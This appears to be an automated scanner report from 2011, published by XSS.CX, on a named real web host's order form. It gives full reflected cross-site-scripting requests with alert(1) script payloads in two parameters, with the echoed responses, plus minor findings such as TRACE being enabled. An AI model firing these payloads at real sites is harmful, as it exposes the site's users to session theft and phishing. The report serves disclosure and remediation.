CWE-79, CAPEC-86, XSS, ssl.manitu.de, Cross Site Scripting

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 17 10:49:03 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

1.1. https://ssl.manitu.de/cgi/webhosting/orderassistant/orderassistant.cgi [domain_0 parameter]

1.2. https://ssl.manitu.de/cgi/webhosting/orderassistant/orderassistant.cgi [kkauthinfocode_0 parameter]

2. TRACE method is enabled

3. Email addresses disclosed

4. Robots.txt file

5. Cacheable HTTPS response

6. SSL certificate



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://ssl.manitu.de/cgi/webhosting/orderassistant/orderassistant.cgi [domain_0 parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ssl.manitu.de
Path:   /cgi/webhosting/orderassistant/orderassistant.cgi

Issue detail

The value of the domain_0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1db1a"><script>alert(1)</script>f406ac1b1bab80746 was submitted in the domain_0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /cgi/webhosting/orderassistant/orderassistant.cgi?referrer=package&package=Webhosting+M&domain_0=erhg+erhgersg1db1a"><script>alert(1)</script>f406ac1b1bab80746&tld_0=&kk_0=on&kkauthinfocode_0=aws+faf&dedicatedip=on&Next=Weiter+%3E HTTP/1.1
Host: ssl.manitu.de
Connection: keep-alive
Referer: https://ssl.manitu.de/cgi/webhosting/orderassistant/orderassistant.cgi
Cache-Control: max-age=0
Origin: https://ssl.manitu.de
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 15:45:58 GMT
Server: Apache/1.3.41 manitu (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8j PHP/5.2.17 mod_auth_pam_external/0.1 FrontPage/4.0.4.3 mod_perl/1.29
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 5859

<HTML>
   <HEAD>
       <TITLE>Online-Bestellassistent</TITLE>
       <META HTTP-EQUIV="content-type" CONTENT="text/html; charset=ISO-8859-1">
   </HEAD>
   <LINK REL="stylesheet" TYPE="text/css" HREF="https://ssl.ma
...[SNIP]...
<INPUT NAME="domain_0" TYPE="text" VALUE="erhg erhgersg1db1a"><script>alert(1)</script>f406ac1b1bab80746" SIZE=13 MAXLENGTH=255 onKeyUp="javascript:whois(0);">
...[SNIP]...

1.2. https://ssl.manitu.de/cgi/webhosting/orderassistant/orderassistant.cgi [kkauthinfocode_0 parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://ssl.manitu.de
Path:   /cgi/webhosting/orderassistant/orderassistant.cgi

Issue detail

The value of the kkauthinfocode_0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e79bf"><script>alert(1)</script>f11929e10f13652dd was submitted in the kkauthinfocode_0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /cgi/webhosting/orderassistant/orderassistant.cgi?referrer=package&package=Webhosting+M&domain_0=erhg+erhgersg&tld_0=&kk_0=on&kkauthinfocode_0=aws+fafe79bf"><script>alert(1)</script>f11929e10f13652dd&dedicatedip=on&Next=Weiter+%3E HTTP/1.1
Host: ssl.manitu.de
Connection: keep-alive
Referer: https://ssl.manitu.de/cgi/webhosting/orderassistant/orderassistant.cgi
Cache-Control: max-age=0
Origin: https://ssl.manitu.de
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 15:46:07 GMT
Server: Apache/1.3.41 manitu (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8j PHP/5.2.17 mod_auth_pam_external/0.1 FrontPage/4.0.4.3 mod_perl/1.29
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 5859

<HTML>
   <HEAD>
       <TITLE>Online-Bestellassistent</TITLE>
       <META HTTP-EQUIV="content-type" CONTENT="text/html; charset=ISO-8859-1">
   </HEAD>
   <LINK REL="stylesheet" TYPE="text/css" HREF="https://ssl.ma
...[SNIP]...
<input type="text" name="kkauthinfocode_0" value="aws fafe79bf"><script>alert(1)</script>f11929e10f13652dd" size="15">
...[SNIP]...

2. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ssl.manitu.de
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: ssl.manitu.de
Cookie: db732173f1778647

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 15:44:54 GMT
Server: Apache/1.3.41 manitu (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8j PHP/5.2.17 mod_auth_pam_external/0.1 FrontPage/4.0.4.3 mod_perl/1.29
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Cookie: db732173f1778647
Host: ssl.manitu.de


3. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ssl.manitu.de
Path:   /cgi/webhosting/orderassistant/orderassistant.cgi

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /cgi/webhosting/orderassistant/orderassistant.cgi HTTP/1.1
Host: ssl.manitu.de
Connection: keep-alive
Referer: http://www.manitu.de/webhosting/bestellen/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 15:44:53 GMT
Server: Apache/1.3.41 manitu (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8j PHP/5.2.17 mod_auth_pam_external/0.1 FrontPage/4.0.4.3 mod_perl/1.29
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 2180

<HTML>
   <HEAD>
       <TITLE>Online-Bestellassistent</TITLE>
       <META HTTP-EQUIV="content-type" CONTENT="text/html; charset=ISO-8859-1">
   </HEAD>
   <LINK REL="stylesheet" TYPE="text/css" HREF="https://ssl.ma
...[SNIP]...
<A HREF="mailto:info@manitu.de">info@manitu.de</A>
...[SNIP]...

4. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ssl.manitu.de
Path:   /cgi/webhosting/orderassistant/orderassistant.cgi

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: ssl.manitu.de

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 15:44:55 GMT
Server: Apache/1.3.41 manitu (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8j PHP/5.2.17 mod_auth_pam_external/0.1 FrontPage/4.0.4.3 mod_perl/1.29
Last-Modified: Mon, 12 Apr 2010 07:16:51 GMT
ETag: "85018a-19-4bc2c8e3"
Accept-Ranges: bytes
Content-Length: 25
Connection: close
Content-Type: text/plain

User-agent: *
Allow: /

5. Cacheable HTTPS response  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ssl.manitu.de
Path:   /cgi/webhosting/orderassistant/orderassistant.cgi

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Request

GET /cgi/webhosting/orderassistant/orderassistant.cgi HTTP/1.1
Host: ssl.manitu.de
Connection: keep-alive
Referer: http://www.manitu.de/webhosting/bestellen/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 15:44:53 GMT
Server: Apache/1.3.41 manitu (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8j PHP/5.2.17 mod_auth_pam_external/0.1 FrontPage/4.0.4.3 mod_perl/1.29
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 2180

<HTML>
   <HEAD>
       <TITLE>Online-Bestellassistent</TITLE>
       <META HTTP-EQUIV="content-type" CONTENT="text/html; charset=ISO-8859-1">
   </HEAD>
   <LINK REL="stylesheet" TYPE="text/css" HREF="https://ssl.ma
...[SNIP]...

6. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ssl.manitu.de
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  ssl.manitu.de
Issued by:  Thawte Server CA
Valid from:  Wed Jun 23 19:00:00 CDT 2010
Valid to:  Wed Aug 22 18:59:59 CDT 2012

Certificate chain #1

Issued to:  Thawte Server CA
Issued by:  Thawte Server CA
Valid from:  Wed Jul 31 19:00:00 CDT 1996
Valid to:  Fri Jan 01 17:59:59 CST 2021

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Thu Mar 17 10:49:03 CDT 2011.